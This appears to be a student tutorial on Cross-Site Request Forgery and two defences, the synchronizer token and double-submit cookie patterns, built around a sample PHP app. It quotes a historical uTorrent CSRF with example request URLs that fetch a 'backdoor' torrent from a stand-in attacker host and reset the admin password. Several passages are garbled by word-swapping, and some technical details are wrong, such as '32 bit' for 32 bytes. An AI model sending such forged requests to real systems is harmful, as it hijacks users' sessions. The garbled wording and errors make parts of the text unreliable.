SSD

Cross Site Request Forgery

            Cross-Site Request Forgery (CSRF) is an assault that powers an end client to execute undesirable activities on a web application in which they're at present verified. CSRF assaults particularly target state-evolving demands, not robbery of information, since the assailant has no real way to see the reaction to the produced demand. With a little help of social designing, (for example, sending a connection through email or talk), an attacker may trap the clients of a web application into executing activities of the assailant's picking. On the off chance that the injured individual is a typical client, a fruitful CSRF assault can compel the client to perform state changing solicitations like exchanging reserves, changing their email address, ect. On the off chance that the unfortunate casualty is a managerial record,CSRF can compromise the entire web application.

What is CSRF and how it works ?

    Attackers who can find a reproducible link that executes a specific action on the target page while the victim is logged in can embed such link on a page they control and trick the victim into opening it. The attack carrier link may be placed in a location that the victim is likely to visit while logged into the target site (for example, a discussion forum), or sent in a HTML email body or attachment. A real CSRF vulnerability in uTorrent (CVE-2008-6586) exploited the fact that its web console accessible at localhost:8080 allowed mission-critical actions to be executed as a matter of simple GET request:

example:-

Force a .torrent file download

           http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

Change uTorrent administrator password 

          http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin

     Attacks were launched by placing malicious, automatic-action HTML image elements on forums and email spam, so that browsers visiting these pages would open them automatically, without much user action. People running vulnerable uTorrent version at the same time as opening these pages were susceptible to the attack.

    CSRF attacks using image tags are often made from Internet forums, where users are allowed to post images but not JavaScript, for example using BBCode

    In order to prevent from this CSRF attack security problem there are two major security patterns that we can implement. 
        
       1.   Synchronizer Token Pattern
       2.   Double Submit Cookie Pattern

Synchronizer Token Pattern 

    Synchronizer token pattern (STP) is a technique where a token, secret and unique value for each request, is embedded by the web application in all HTML forms and verified on the server side. The token may be generated by any method that ensures unpredictability and uniqueness (e.g. using a hash chain of random seed). The attacker is thus unable to place a correct token in their requests to authenticate them.



    STP is the most compatible as it only relies on HTML, but introduces some complexity on the server side, due to the burden associated with checking validity of the token on each request. As the token is unique and unpredictable, it also enforces proper sequence of events which raises usability problem. It can be relaxed by using per session CSRF token instead of per request CSRF token.







Now will get through a sample application to gain knowledge about synchronizer token pattern. You can get the sample application from https://supuntenna@bitbucket.org/supuntenna/ssd.git

index.php

      This login page submits client credentials through a POST request. At the login procedure, if the client is verified, a unique Session Id and the CSRF token will be generated. Upon login, created session id is saved in the browser and in the meantime, this CSRF token is saved on the server side along with the relevant session id. On this application I have stored the CSRF token token in a text file called as Token.txt.
     The logging credentials are hard coded, they are

• UserName - admin123
• Password - admin123

updateStatus.php

      In the updateStatus.php; it contains a php code to validate a user. Since I have hard coded the login credentials it will only validate those credentials. After that, it will make an Ajax call to generate a CSRF token to the 'csrf_token_generator.php' file. On this the token will get embedded as a hidden field on the form. 

Below is the image where the token gets embedded as a hidden field to the form

csrf_token_generator.php

      On this php file openssl_random_pseudo_bytes(32) is used to generate the csrf token which a 32 bit long. After generating the token it is encoded using base64.

When the user clicks on the submit button; the csrf token is generated also the session id. 
      In the server side; server will get the session id from the header and the csrf token from the body. Then it will check whether its the same csrf token by matching it with the session id. this process happened on the token.php.

     If the process works correctly and if the csrf token matches with the session id then a page will be displayed with the successful message along with the status which was entered by the user.

results.php

The full implementation is https://supuntenna@bitbucket.org/supuntenna/ssd.git

Double Submit Cookie Pattern

     Similarly to the cookie-to-header approach, but without involving JavaScript, a site can set a CSRF token as a cookie, and also insert it as a hidden field in each HTML form sent to the client. When the form is submitted, the site can check that the cookie token matches the form token. The same-origin policy prevents an attacker from reading or setting cookies on the target domain, so they cannot put a valid token in their crafted form.[27]

The advantage of this technique over the Synchronizer pattern is that the token does not need to be stored on the server.

Following diagram will describe the flow,

Now will get through a sample application to gain knowledge about synchronizer token pattern. You can get the sample application from https://supuntenna@bitbucket.org/supuntenna/ssd.git

           This login page submits client credentials through a POST request. At the login procedure, if the client is verified, a unique Session Id and the CSRF token will be generated. Upon login, created session id and the CSRF token is saved in browser

     

           The logging credentials are hard coded, they are

• UserName - admin123
• Password - admin123

UpdateStatus.php

     On updateStatus.html the session cookie and CSRF cookies are stored on the browser. These cookies have one year expiration time and they are accessible from anywhere. A Java Script is written to retrieve the CSRF token value from the CSRF cookie set on the browser.

results.php

On the results.php, CSRF cookie value and the CSRF value embedded in hidden field are sent to the token.php to validate.

token.php

in checkToken() function if it returns 'true' that means the CSRF tokens are matching.